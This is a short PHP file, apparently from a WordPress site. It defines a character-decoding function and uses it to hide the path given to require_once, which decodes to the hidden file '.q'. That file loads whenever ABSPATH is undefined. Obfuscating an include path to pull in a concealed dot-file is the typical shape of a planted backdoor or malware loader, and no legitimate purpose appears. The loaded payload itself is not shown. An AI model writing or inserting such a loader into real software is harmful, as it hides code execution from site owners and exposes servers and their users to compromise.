<?php
function cqu($t, $s)
{
    $c = '';
    for ($x = 0; $x < strlen($t); $x += 2) {
        $n = ord($t[$x]) - 65;
        $i = ord($t[$x + 1]);
        if ($i > 90) $i -= 6;
        $w = $n * 52 + ($i - 65);
        $c .= chr($w - $s);
    }
    return $c;
}

if (!defined('ABSPATH')) {
    require_once cqu('CFDU', 63);
}